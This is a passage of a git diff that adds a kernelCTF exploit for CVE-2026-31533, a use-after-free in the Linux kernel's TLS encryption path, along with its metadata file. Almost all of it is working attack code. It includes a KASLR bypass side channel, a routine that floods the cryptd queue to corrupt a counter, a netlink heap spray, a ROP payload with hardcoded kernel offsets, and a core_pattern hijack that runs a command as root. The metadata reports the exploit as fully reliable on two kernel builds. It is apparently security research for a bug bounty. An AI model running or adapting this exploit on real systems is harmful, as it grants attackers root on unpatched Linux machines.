-1; + for (int idx = 0; idx < n_entries - 1; idx++) { + if (times[idx] < min_time) { + min_idx = idx; + min_time = times[idx]; + } + } + if (min_idx < 0) + continue; + vote_results[vote] = scan_addrs[min_idx]; + } else { + /* AMD / virtualized: kernel text = window with max aggregate time */ + uint64_t max_sum = 0; + int max_start = 0; + for (int idx = 0; idx < n_entries - window; idx++) { + uint64_t sum = 0; + for (int w = 0; w < window; w++) + sum += times[idx + w]; + if (sum > max_sum) { + max_sum = sum; + max_start = idx; + } + } + vote_results[vote] = scan_addrs[max_start]; + } + } + + int count = 0; + for (int i = 0; i < num_votes; i++) { + if (count == 0) + base = vote_results[i]; + else if (base == vote_results[i]) + count++; + else + count--; + } + + count = 0; + for (int i = 0; i < num_votes; i++) { + if (base == vote_results[i]) + count++; + } + if (count > num_votes / 2) { + printf("[+] KASLR bypass (%s): kernel base = %llx\n", + g_is_intel ? "intel" : "amd", (unsigned long long)base); + return base; + } + + printf("[-] majority vote failed: base = %llx with %d/%d votes\n", + (unsigned long long)base, count, num_votes); + } +} + +static int vt_env(const char *k, int d) { const char *v = getenv(k); return v ? atoi(v) : d; } + +/* Arm one AF_ALG op fd with a pending encrypt (one cryptd request). Large data + * keeps the op in flight long enough for the burst to overflow the queue. */ +static void vt_arm(int op_fd) +{ + char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)]; + memset(cbuf, 0, sizeof(cbuf)); + struct msghdr msg = {}; + msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); + struct iovec iov = { g_buf, 0x10000 }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); + cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP; + cm->cmsg_len = CMSG_LEN(4); + *(uint32_t *)CMSG_DATA(cm) = ALG_OP_ENCRYPT; + cm = CMSG_NXTHDR(&msg, cm); + cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV; + cm->cmsg_len = CMSG_LEN(20); + ((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 8; + sendmsg(op_fd, &msg, 0); +} + +static int vt_make_tls(int *client_out, int *server_out) +{ + int serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + int flag = 1; + setsockopt(serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag)); + struct sockaddr_in addr = {}; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(SERVER_PORT); + if (bind(serv, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(serv); return -1; } + listen(serv, 1); + int client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (connect(client, (struct sockaddr *)&addr, sizeof(addr)) < 0) { close(serv); close(client); return -1; } + socklen_t sz = sizeof(addr); + int server = accept(serv, (struct sockaddr *)&addr, &sz); + close(serv); + setsockopt(client, SOL_TCP, TCP_ULP, "tls", sizeof("tls")); + struct tls12_crypto_info_aes_ccm_128 info; + memset(&info, 0, sizeof(info)); + info.info.version = TLS_1_2_VERSION; + info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + setsockopt(client, SOL_TLS, TLS_TX, &info, sizeof(info)); + setsockopt(client, SOL_TLS, TLS_RX, &info, sizeof(info)); + *client_out = client; *server_out = server; + return 0; +} + +/* ======================================================================== + * --vuln-trigger: reach the use-after-free on a KASAN build, without KASLR, + * ROP or the heap spray. + * + * A finite burst of AF_ALG (MAY_BACKLOG) crypto ops momentarily overflows the + * per-CPU cryptd queue (cap = cryptd_max_cpu_qlen = 1000). With a pending TLS + * record and sk_err set, the cmsg push then hits crypto_aead_encrypt() == + * -EBUSY, the async callback observes sk_err and double-decrements the + * encrypt_pending sentinel; freeing the tls_rec while a callback is still + * pending yields the UAF that KASAN reports. Because the burst is finite, the + * queue drains afterwards so the backlogged op completes (no permanent hang). + * Tunables: VT_N (op fds), VT_DELAY (us after io_submit), VT_RETRY. + * ======================================================================== */ +static void vuln_trigger(void) +{ + struct rlimit rl; + getrlimit(RLIMIT_NOFILE, &rl); + rl.rlim_cur = rl.rlim_max; /* raise soft to hard (no privilege needed) */ + setrlimit(RLIMIT_NOFILE, &rl); + + int budget = (int)rl.rlim_cur - 16; + int N = vt_env("VT_N", budget > 1010 ? 1010 : budget); + int delay = vt_env("VT_DELAY", 40000); + int retry = vt_env("VT_RETRY", 40); + + pin_cpu(0); + force_cryptd(); + cmsg_init(); + printf("=== CVE-2026-31533 --vuln-trigger (KASAN) N=%d delay=%dus retry=%d nofile=%lu ===\n", + N, delay, retry, (unsigned long)rl.rlim_cur); + + struct sockaddr_alg sa = {}; + sa.salg_family = AF_ALG; + strcpy((char *)sa.salg_type, "skcipher"); + strcpy((char *)sa.salg_name, "cryptd(rfc3686(ctr(aes-generic)))"); + int *op = calloc(N, sizeof(int)); + int made = 0; + for (int i = 0; i < N; i++) { + int a = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (a < 0) break; + if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(a); break; } + setsockopt(a, SOL_ALG, ALG_SET_KEY, g_buf, 20); + op[i] = accept(a, NULL, 0); + close(a); + if (op[i] < 0) break; + made = i + 1; + } + printf("[*] %d cryptd op fds (queue cap ~1000)\n", made); + + io_context_t ctx; + memset(&ctx, 0, sizeof(ctx)); + io_setup(made + 8, &ctx); + struct iocb *cb = calloc(made + 2, sizeof(*cb)); + struct iocb **pp = calloc(made + 2, sizeof(*pp)); + + for (int attempt = 1; attempt <= retry; attempt++) { + /* arm every op fd + prep one AIO read each */ + for (int i = 0; i < made; i++) { + vt_arm(op[i]); + pp[i] = &cb[i]; + io_prep_pread(&cb[i], op[i], g_buf, 1, 0); + } + + int client, server; + if (vt_make_tls(&client, &server) < 0) { usleep(50000); continue; } + + /* craft the scatterlist layout + a pending record, set sk_err */ + send(client, g_buf, 0x7000 - 29, 0); + send(client, g_buf, 0xfd3, MSG_MORE); + unsigned char fake[5 + 64]; + fake[0] = 0x17; fake[1] = 0x03; fake[2] = 0x03; fake[3] = 0x00; fake[4] = 64; + memset(fake + 5, 0xCC, 64); + send(server, fake, sizeof(fake), 0); + usleep(10000); + char rx[256]; + recv(client, rx, sizeof(rx), MSG_DONTWAIT); + + /* burst-fill the per-CPU cryptd queue, then push the pending record */ + io_submit(ctx, made, pp); + usleep(delay); + int ret = tls_push_via_cmsg(client); + if (attempt <= 3 || ret < 0) + printf("[*] attempt %d/%d: cmsg push = %d (%s)\n", + attempt, retry, ret, ret < 0 ? strerror(-ret) : "ok"); + + if (ret < 0 && -ret != EAGAIN && -ret != EINPROGRESS) { + printf("[+] sentinel corrupted (err %d); triggering dangling callback (UAF)...\n", -ret); + int se = 0; socklen_t sl = sizeof(se); + getsockopt(client, SOL_SOCKET, SO_ERROR, &se, &sl); /* clear sk_err */ + + /* Phase 2: with encrypt_pending == 0, tls_encrypt_async_wait no + * longer waits. Re-saturate the cryptd queue and submit one more + * async TLS encrypt: the record is freed (bpf_exec_tx_verdict -> + * tls_free_open_rec) while its cryptd callback is still pending. + * No heap spray here, so the callback fires on the KASAN-poisoned + * freed tls_rec -> use-after-free report. */ + for (int i = 0; i < made; i++) { + vt_arm(op[i]); + io_prep_pread(&cb[i], op[i], g_buf, 1, 0); + pp[i] = &cb[i]; + } + io_prep_pwrite(&cb[made], client, g_buf, 64, 0); /* async TLS encrypt */ + pp[made] = &cb[made]; + io_submit(ctx, made + 1, pp); + sleep(3); /* let the dangling cryptd callback fire on freed memory */ + close(client); + close(server); + sleep(2); + printf("[*] vuln-trigger done\n"); + return; + } + + /* drain the burst so backlogged ops complete before we close/retry + * (otherwise tls_sk_proto_close would block in tls_encrypt_async_wait) */ + struct io_event ev[256]; + struct timespec ts = { 3, 0 }; + int got = 0; + while (got < made) { + int n = io_getevents(ctx, 1, 256, ev, &ts); + if (n <= 0) break; + got += n; + } + close(client); + close(server); + } + printf("[-] no -EBUSY after %d attempts; re-run --vuln-trigger\n", retry); +} +/* ───────────────── Main ───────────────── */ + +int main(int argc, char **argv) +{ + int ret; + + memset(g_buf, 0x41, sizeof(g_buf)); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + /* + * === Root stage === + * Re-executed by the kernel as root via core_pattern = + * "|/proc//fd/666 %P" + * argv[1] is the crashed child's PID. We use pidfd_getfd() to steal its + * stdio descriptors so the flag is printed to the attacker's terminal. + */ + /* KASAN vulnerability trigger mode (used by the vuln-verify workflow). */ + if (argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0) { + vuln_trigger(); + return 0; + } + + if (argc > 1) { + int pid = strtoull(argv[1], 0, 10); + int pidfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pidfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pidfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pidfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR + * verification workflow*/ + int x = system("cat /flag; sleep 1; echo o>/proc/sysrq-trigger"); + exit(0); + } + + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + pin_cpu(1); + setsid(); + crash(""); + } + + + detect_cpu_vendor(); + size_t kern_base = 0; + if(getenv("KTEXT")) kern_base = strtoull(getenv("KTEXT"),0,0x10); + else kern_base = bypass_kaslr(); + + struct rlimit rlim = { .rlim_cur = 0x1000, .rlim_max = 0x1000 }; + SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim)); + + pin_cpu(0); + force_cryptd(); + cmsg_init(); + + pthread_barrier_init(&g_barrier, NULL, THREAD_COUNT + 1); + + printf("=== TLS-006 PoC ===\n\n"); + + /* ── 1. TCP pair + TLS ── */ + int client, server; + { + int serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + int flag = 1; + setsockopt(serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag)); + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_addr.s_addr = inet_addr("127.0.0.1"), + .sin_port = htons(SERVER_PORT), + }; + bind(serv, (struct sockaddr *)&addr, sizeof(addr)); + listen(serv, 1); + client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + SYSCHK(SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr)))); + socklen_t sz = sizeof(addr); + server = SYSCHK(accept(serv, (struct sockaddr *)&addr, &sz)); + close(serv); + + setsockopt(client, SOL_TCP, TCP_ULP, "tls", sizeof("tls")); + struct tls12_crypto_info_aes_ccm_128 info; + memset(&info, 0, sizeof(info)); + info.info.version = TLS_1_2_VERSION; + info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + setsockopt(client, SOL_TLS, TLS_TX, &info, sizeof(info)); + setsockopt(client, SOL_TLS, TLS_RX, &info, sizeof(info)); + } + printf("[+] TLS client=%d server=%d\n", client, server); + + /* ── 2. Prepare all AF_ALG sockets ── */ + int *op_fds = calloc(TOTAL_ALG, sizeof(int)); + int *alg_fds = calloc(TOTAL_ALG, sizeof(int)); + pthread_t *tids = calloc(THREAD_COUNT, sizeof(pthread_t)); + + { + struct sockaddr_alg sa = { + .salg_family = AF_ALG, .salg_type = "skcipher", + .salg_name = "cryptd(rfc3686(ctr(aes-generic)))" + }; + char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20)]; + memset(cbuf, 0, sizeof(cbuf)); + struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) }; + struct iovec iov = { .iov_base = g_buf, .iov_len = 0x10000 }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + + struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); + cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_OP; + cm->cmsg_len = CMSG_LEN(4); + *(uint32_t *)CMSG_DATA(cm) = ALG_OP_ENCRYPT; + cm = CMSG_NXTHDR(&msg, cm); + cm->cmsg_level = SOL_ALG; cm->cmsg_type = ALG_SET_IV; + cm->cmsg_len = CMSG_LEN(20); + ((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 8; + + printf("[*] Preparing %d AF_ALG sockets...\n", TOTAL_ALG); + for (int i = 0; i < TOTAL_ALG; i++) { + alg_fds[i] = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (alg_fds[i] < 0) err(1, "AF_ALG #%d", i); + SYSCHK(bind(alg_fds[i], (struct sockaddr *)&sa, sizeof(sa))); + + setsockopt(alg_fds[i], SOL_ALG, ALG_SET_KEY, g_buf, 20); + op_fds[i] = accept(alg_fds[i], NULL, 0); + if (op_fds[i] < 0) err(1, "accept #%d", i); + sendmsg(op_fds[i], &msg, 0); + close(alg_fds[i]); + } + } + printf("[+] %d AF_ALG sockets ready\n", TOTAL_ALG); + + /* ── 3. Prepare AIO iocbs ── */ + io_context_t aio_ctx; + memset(&aio_ctx, 0, sizeof(aio_ctx)); + io_setup(AIO_COUNT + 4, &aio_ctx); + + struct iocb *iocbs = calloc(AIO_COUNT, sizeof(struct iocb)); + struct iocb **ptrs = calloc(AIO_COUNT, sizeof(struct iocb *)); + for (int i = 0; i < AIO_COUNT; i++) { + ptrs[i] = &iocbs[i]; + io_prep_pread(&iocbs[i], op_fds[i], g_buf, 1, 0); + } + + /* ── 4. Launch threads (block on barrier) ── */ + struct drain_arg *dargs = calloc(THREAD_COUNT, sizeof(struct drain_arg)); + printf("[*] Launching %d threads...\n", THREAD_COUNT); + for (int i = 0; i < THREAD_COUNT; i++) { + dargs[i].op_fd = op_fds[AIO_COUNT + i]; + dargs[i].barrier = &g_barrier; + dargs[i].i = i; + pthread_create(&tids[i], NULL, drain_thread, &dargs[i]); + } + + /* Threads will block at pthread_barrier_wait — no explicit wait needed here. + * Just give them time to reach the barrier. */ + // usleep(500000); + printf("[+] Threads at barrier\n"); + + /* ── 5. Pending record + sk_err ── */ + send(client, g_buf, 0x7000-29, 0); // craft sg data layout + send(client, g_buf, 0xfd3, MSG_MORE); + { + unsigned char fake[5 + 64]; + fake[0] = 0x17; fake[1] = 0x03; fake[2] = 0x03; + fake[3] = 0x00; fake[4] = 64; + memset(fake + 5, 0xCC, 64); + send(server, fake, sizeof(fake), 0); + usleep(10000); + char rxbuf[256]; + recv(client, rxbuf, sizeof(rxbuf), MSG_DONTWAIT); + } + printf("[+] Pending record + sk_err set\n"); + + /* + * ── 6. CRITICAL: io_submit → barrier → usleep → cmsg push ── + * + * io_submit: bulk-fill CPU 0's queue (AIO, fast inline) + * barrier: release all threads → they flood queue (MAY_BACKLOG) + * usleep: let threads run and enqueue + * cmsg push: queue should be >= 1000 → -EBUSY + */ + //PAUSE; + printf("[*] FIRE: io_submit + barrier + cmsg push\n"); + //PAUSE; + + sleep(1); + io_submit(aio_ctx, AIO_COUNT, ptrs); + pthread_barrier_wait(&g_barrier); /* releases all threads */ + + ret = tls_push_via_cmsg(client); + printf("[*] cmsg push = %d", ret); + if (ret > 0) + printf(" (sent %d — no EBUSY)\n", ret); + else + printf(" (-%d: %s)\n", -ret, strerror(-ret)); + + if (ret >= 0 || -ret == EAGAIN || -ret == EINPROGRESS) { + printf("[-] No EBUSY. Try adjusting usleep or counts.\n"); + close(client); close(server); + goto cleanup; + } + + printf("[+] SENTINEL CORRUPTED (error %d)\n", -ret); + + /* ══════════════════════════════════════════════════════════ + * PHASE 2: Trigger UAF — send + close + spray + * ══════════════════════════════════════════════════════════ */ + + /* ── 7. Clear sk_err ── */ + { + int so_err = 0; + socklen_t len = sizeof(so_err); + getsockopt(client, SOL_SOCKET, SO_ERROR, &so_err, &len); + printf("[+] SO_ERROR=%d → cleared\n", so_err); + } + + /* ── 8. Wait for phase 1 queue to drain ── */ + printf("[*] Waiting for cryptd queue to drain...\n"); + sleep(2); + + /* Join phase 1 threads (they're done by now) */ + for (int i = 0; i < THREAD_COUNT; i++) + pthread_join(tids[i], NULL); + for (int i = 0; i < TOTAL_ALG; i++) { + close(op_fds[i]); + } + + /* ── 9. Prepare phase 2: fresh queue saturation + netlink spray ── */ + printf("[*] Preparing phase 2: re-saturation + netlink spray\n"); + + /* Prepare second set of AF_ALG sockets for re-saturation */ +#define SAT2_AIO 1000 + + int *op_fds2 = calloc(SAT2_AIO, sizeof(int)); + int *alg_fds2 = calloc(SAT2_AIO, sizeof(int)); + + { + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, .salg_type = "skcipher", + .salg_name = "cryptd(rfc3686(ctr(aes-generic)))" + }; + char cbuf2[CMSG_SPACE(4) + CMSG_SPACE(20)]; + memset(cbuf2, 0, sizeof(cbuf2)); + struct msghdr msg2 = { .msg_control = cbuf2, .msg_controllen = sizeof(cbuf2) }; + struct iovec iov2 = { .iov_base = g_buf, .iov_len = 0x10000 }; + msg2.msg_iov = &iov2; msg2.msg_iovlen = 1; + + struct cmsghdr *cm2 = CMSG_FIRSTHDR(&msg2); + cm2->cmsg_level = SOL_ALG; cm2->cmsg_type = ALG_SET_OP; + cm2->cmsg_len = CMSG_LEN(4); + *(uint32_t *)CMSG_DATA(cm2) = ALG_OP_ENCRYPT; + cm2 = CMSG_NXTHDR(&msg2, cm2); + cm2->cmsg_level = SOL_ALG; cm2->cmsg_type = ALG_SET_IV; + cm2->cmsg_len = CMSG_LEN(20); + ((struct af_alg_iv *)CMSG_DATA(cm2))->ivlen = 8; + + for (int i = 0; i < SAT2_AIO; i++) { + alg_fds2[i] = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (alg_fds2[i] < 0) err(1, "AF_ALG2 #%d", i); + bind(alg_fds2[i], (struct sockaddr *)&sa2, sizeof(sa2)); + setsockopt(alg_fds2[i], SOL_ALG, ALG_SET_KEY, g_buf, 20); + op_fds2[i] = accept(alg_fds2[i], NULL, 0); + if (op_fds2[i] < 0) err(1, "accept2 #%d", i); + sendmsg(op_fds2[i], &msg2, 0); + close(alg_fds2[i]); + } + } + printf("[+] %d phase 2 AF_ALG sockets ready\n", SAT2_AIO); + + /* AIO iocbs for phase 2 */ + io_context_t aio_ctx2; + memset(&aio_ctx2, 0, sizeof(aio_ctx2)); + io_setup(SAT2_AIO + 17, &aio_ctx2); + + struct iocb *iocbs2 = calloc(SAT2_AIO + 17, sizeof(struct iocb)); + struct iocb **ptrs2 = calloc(SAT2_AIO + 17, sizeof(struct iocb *)); + for (int i = 0; i < SAT2_AIO; i++) { + ptrs2[i] = &iocbs2[i]; + io_prep_pread(&iocbs2[i], op_fds2[i], g_buf, 1, 0); + } + + /* Prepare netlink spray socket */ + int sock_nl_srv = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK)); + { + struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pid = 5555 }; + if (bind(sock_nl_srv, (struct sockaddr *)&addr, sizeof(addr)) < 0) + err(1, "bind netlink srv"); + } + int sock_nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); + { + struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pid = 5555 }; + if (connect(sock_nl, (struct sockaddr *)&addr, sizeof(addr)) < 0) + err(1, "connect netlink"); + } + /* Spray buffer — fill with recognizable pattern for KASAN detection */ + char *spray_buf = mmap(NULL, 0x10000, PROT_READ|PROT_WRITE, + MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + memset(spray_buf, 0x42, 0x1000); + size_t* rop = (void*)&spray_buf[0x7e0]; + exploit_gen(rop, kern_base); +#ifdef TARGET_LTS + rop[2] = kern_base+0x12f40cdUL; +#endif +#ifdef TARGET_COS + rop[2] = kern_base+0xfeae7dUL; +#endif + + ptrs2[SAT2_AIO] = &iocbs2[SAT2_AIO]; + io_prep_pwrite(&iocbs2[SAT2_AIO], client, g_buf, 64, 0); + + for (int i = SAT2_AIO+1; i < SAT2_AIO+17; i++) { + ptrs2[i] = &iocbs2[i]; + io_prep_pwrite(&iocbs2[i], sock_nl, spray_buf, 3200, 0); + } + + /* ── 11. FIRE: saturate → send → close → spray ── */ + printf("[*] Phase 2 FIRE: saturate + send + close + spray\n"); + + /* Saturate queue */ + io_submit(aio_ctx2, SAT2_AIO+17, ptrs2); + //pthread_barrier_wait(&barrier2); + //usleep(5000); /* let threads fill queue */ + + /* Send data — encryption goes to END of queue. + * tls_encrypt_async_wait skips (sentinel=0) → returns immediately. */ + printf("[+] Spray done. Waiting for cryptd callback (UAF)...\n"); + + /* Wait for cryptd to process our TLS request → callback on freed/sprayed memory */ + sleep(3); + + /* Cleanup */ + for (int i = 0; i < SAT2_AIO; i++) { + close(op_fds2[i]); + } + close(sock_nl); close(sock_nl_srv); + free(iocbs2); free(ptrs2); + free(alg_fds2); free(op_fds2); + io_destroy(aio_ctx2); + +cleanup: + free(iocbs); free(ptrs); free(tids); free(dargs); + free(alg_fds); free(op_fds); + io_destroy(aio_ctx); + pthread_barrier_destroy(&g_barrier); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/metadata.json new file mode 100644 index 000000000..1053a2b32 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp466"], + "vulnerability": { + "summary": "Use-after-free in the -EBUSY error path of tls_do_encryption() in net/tls. When an async (cryptd-backed) encryption request is backlogged (-EBUSY) and tls_encrypt_async_wait() returns an error, tls_do_encryption() repeats the cleanup already performed by the tls_encrypt_done() callback. This double-decrements the encrypt_pending sentinel and double-restores the scatterlist, letting a later sendmsg() free the tls_rec while a cryptd callback is still pending, leading to a use-after-free and kernel RIP control.", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a9b8b18364fffce4c451e6f6fd218fa4ab646705", + "cve": "CVE-2026-31533", + "affected_versions": ["6.8 - 6.16"], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": [ + "CONFIG_TLS", + "CONFIG_CRYPTO_USER_API_SKCIPHER", + "CONFIG_CRYPTO_USER_API_AEAD", + "CONFIG_CRYPTO_CRYPTD" + ] + } + }, + "exploits": { + "lts-6.12.77": { + "environment": "lts-6.12.77", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% in the exploit_repro GitHub Action (10/10). Failure modes are (1) the prefetch KASLR side-channel mis-voting and (2) losing the cryptd-queue saturation race; both are non-destructive and the exploit can simply be re-run. The KASLR prefetch method is chosen at runtime from the CPU vendor so it is reliable on both Intel (remote) and AMD/virtualized (CI) hosts." + }, + "cos-121-18867.381.30": { + "environment": "cos-121-18867.381.30", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% in the exploit_repro GitHub Action (10/10). Same failure modes as the LTS target (KASLR side-channel mis-vote / lost saturation race), non-destructive and re-runnable. CONFIG_RANDOM_KMALLOC_CACHES is bypassed via page-level reclamation of the freed tls_rec by the netlink spray." + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/original.tar.gz new file mode 100755 index 000000000..3474b7184 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31533_lts_cos/original.tar.gz differ